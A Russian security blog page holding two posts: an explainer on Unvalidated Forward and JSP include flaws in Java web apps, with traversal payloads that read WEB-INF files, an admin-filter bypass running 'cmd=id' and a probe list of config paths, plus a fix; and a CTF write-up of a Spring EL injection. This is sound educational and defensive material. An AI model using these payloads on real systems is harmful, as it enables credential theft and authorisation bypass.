Показаны сообщения с ярлыком java. Показать все сообщения
Показаны сообщения с ярлыком java. Показать все сообщения

14 августа 2017

Unvalidated Forwards


Довольно часто встречаю уязвимости Unvalidated Forward и JSP Include, но нормальных статей про них толком не встречал (поэтому написал еще одну плохую).

Примеры уязвимостей

String locale = request.getParameter("locale");
request.getRequestDispatcher("/folder/" + locale + "/index.jsp").forward(request, response);
<jsp:include page='<%=request.getParameter("page")%>'/>
<jsp:forward page='<%=request.getParameter("page")%>'/>

Описание
forward - передача обработки текущего запроса другому сценарию.
include - включение в ответ результата обработки другого сценария.

С помощью данных функций нельзя получить доступ к произвольным файлам в системе, работа происходит только в рамках одного веб приложения.
Путь, передаваемый в функции, обрабатывается как Request-URI. То есть:

  1. Для отбрасывания префикса можно использовать prefix/../path (но не выше текущего приложения)
  2. Для отбрасывания постфикса можно использовать path/?/postfix.jsp

В результате будет тоже самое, как обращение к данному пути с помощью обычного HTTP запроса (jsp исполнится, а xml будет прочитан). Но с небольшими отличиями:

  1. Результирующий сценарий получит все параметры, переданные в оригинальном запросе. Если в путь добавить query string, то эти параметры будут добавлены к оригинальным.
  2. В данном запросе нет ограничений на обращения к файлам из каталогов WEB-INF и META-INF
  3. По умолчанию данный запрос не обрабатывается фильтрами, описанными в web.xml
  4. Иногда данные уязвимости помогают обойти WAF

Пример эксплуатации

<jsp:include page="<%=request.getParameter("page")%>"/>
/index.jsp?page=/WEB-INF/web.xml
String locale = request.getParameter("locale");
request.getRequestDispatcher("/folder/" + locale + "/index.jsp").forward(request, response);
/index.jsp?locale=../WEB-INF/web.xml?

Обход фильтров
Часто сценарии для администрирования просто выносят в отдельный каталог /admin/, который закрывают с помощью фильтра с проверкой авторизации.

<filter>
  <filter-name>AdminFilter</filter-name>
  <filter-class>foo.bar.AdminFilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>AdminFilter</filter-name>
  <url-pattern>/admin/*</url-pattern>
</filter-mapping>

В данном случае для запросов через forward и include по умолчанию фильтр не будет вызван и авторизация не проверится.

/index.jsp?locale=../admin/Pwn?cmd=id%26

Для того, чтобы фильтр работал и в этом случае, необходимо добавить следующие настройки (по умолчанию идет только REQUEST - прямой запрос к сценарию).

<filter-mapping>
  <filter-name>AdminFilter</filter-name>
  <url-pattern>/admin/*</url-pattern>
  <dispatcher>REQUEST</dispatcher>
  <dispatcher>FORWARD</dispatcher>
  <dispatcher>INCLUDE</dispatcher>
</filter-mapping>

Обращение к файлам из WEB-INF и META-INF

1. Доступ к конфигурационным файлам. Следует проверить следующие варианты:
/WEB-INF/web.xml
/WEB-INF/%filename%.xml
/WEB-INF/%filename%.properties
/WEB-INF/classes/%filename%.xml
/WEB-INF/classes/%filename%.properties
/WEB-INF/config/%filename%.xml
/WEB-INF/config/%filename%.properties
/WEB-INF/conf/%filename%.xml
/WEB-INF/conf/%filename%.properties
/WEB-INF/resources/%filename%.xml
/WEB-INF/resources/%filename%.properties
/META-INF/%filename%.xml
/META-INF/%filename%.properties

Я попытался составить небольшой словарь того, что может там встретиться
https://github.com/BlackFan/WEB-INF-dict/blob/master/web-inf.txt

2. Доступ к коду приложения
/WEB-INF/lib/%filename%.jar
/WEB-INF/classes/foo/bar/Baz.class    =>   package foo.bar; class Baz

В случае с библиотеками вслепую перебирать будет довольно сложно, так как часто в имени есть еще и версия. Но чтение классов вполне реально, информацию о существующих классах можно получить из stack trace, web.xml, конфигурационных файлов и самих классов.

Дальнейшая эксплуатация зависит от конкретного приложения, но в основном полученных данных (учетные записи к базам данных и панелям администрирования, исходный код приложения) хватает для развития атаки.

12 мая 2017

Zeronights 2016 HackQuest Day #7 Writeup


Хотел написать разбор на PHDays 2017 HackQuest и нашел этот в закладках.

Узнав, что последним заданием на HackQuest будет web, я слегка расстроился, так как был не дома и начал решать его спустя 14 часов после запуска. Но, к счастью, к этому времени до сих пор не было ни решивших, ни подсказок.

Задание представляет собой сайт с названием «The First School of Bulimia» и из функциональности там только регистрация и аутентификация. После проверки стандартных векторов, единственное, за что можно было зацепиться – обработка поля «Вес» при регистрации.

При некорректном значении выдавало Exception:

Failed to convert property value of type java.lang.String to required type java.lang.Integer 
for property weight; nested exception is java.lang.NumberFormatException: For input string: "zdrxyhryy" 
Fill your weight. Weight has to be numeric value

В поле можно было использовать hex значения #FF или 0xFF. При значении ${0}, получилось следующее:

Failed to convert property value of type java.lang.String to required type java.lang.Integer 
for property weight; nested exception is java.lang.NumberFormatException: 
For input string: "$org.springframework.context.support.DefaultMessageSourceResolvable: 
codes [user.weight,weight]; arguments []; default message [weight]"

Прочитав несколько статей про Expression Language Injection, я понял, что это не совсем то, и что текст ошибки с указанным параметром попадает в MessageFormat. С помощью {0, number} можно вызвать приведение объекта-параметра с индексом 0 к числу и получить подробную ошибку с фрагментом исходного кода. Но, эта информация тоже ничего интересного не дала.

img1

Первая подсказка OTG-INFO-001 указывает на то, что сначала нужно было получить больше информации о задании. Помучив поисковые системы и веб-архивы удалось найти исходный код приложения на github.

https://github.com/search?q=The+First+School+of+Bulimia

Первая часть флага была указана в исходном коде:

private static String firstSecret="2TvoixPalca";

Вторая часть, судя по всему, получалась из файла конфигурации и ее можно было получить с помощью ${secondSecret}.
Оказалось, что почитать про Expression Language Injection было правильной идеей и можно сразу заметить в коде следующее:

<p><b>Твое имя:  <spring:message text="${user.name}" /></b></p>
<p><b>Твое вес:  <spring:message text="${user.weight}" /></b></p>

<spring:message> дважды обрабатывает Expression Language и инъекция через имя пользователя выглядит верным решением задания. Но необходимо придумать, как обойти регулярное выражение при регистрации:

if (user.getName() == null) {
  e.rejectValue("name", "null", "Fill your name");
} else if (!user.getName().matches("[0-9A-Za-z]+")) {
  e.rejectValue("name", "onlynumbersletters", "Only letters and numbers in your name");
}

Перепробовав все идеи, я решил обратиться к сценарию следующим образом
(к тому же похожая уязвимость была в первом web задании, которое я не дорешал):
http://45.55.216.88/home?name=<h1><s>123

img2

И только потом заметил следующее объявление метода:

@RequestMapping(value = "/home", method = RequestMethod.GET)
public String home(@ModelAttribute User user, Model model) {

ModelAttribute: Annotation that binds a method parameter or method return value to a named model attribute, exposed to a web view. Supported for controller classes with @RequestMapping methods.

Получаем вторую часть флага:

http://45.55.216.88/home?name=${secondSecret}

Флаг: 2TvoixPalcaVRot! (вторую часть в целом можно было и угадать)

Разбор уязвимости и самого задания от автора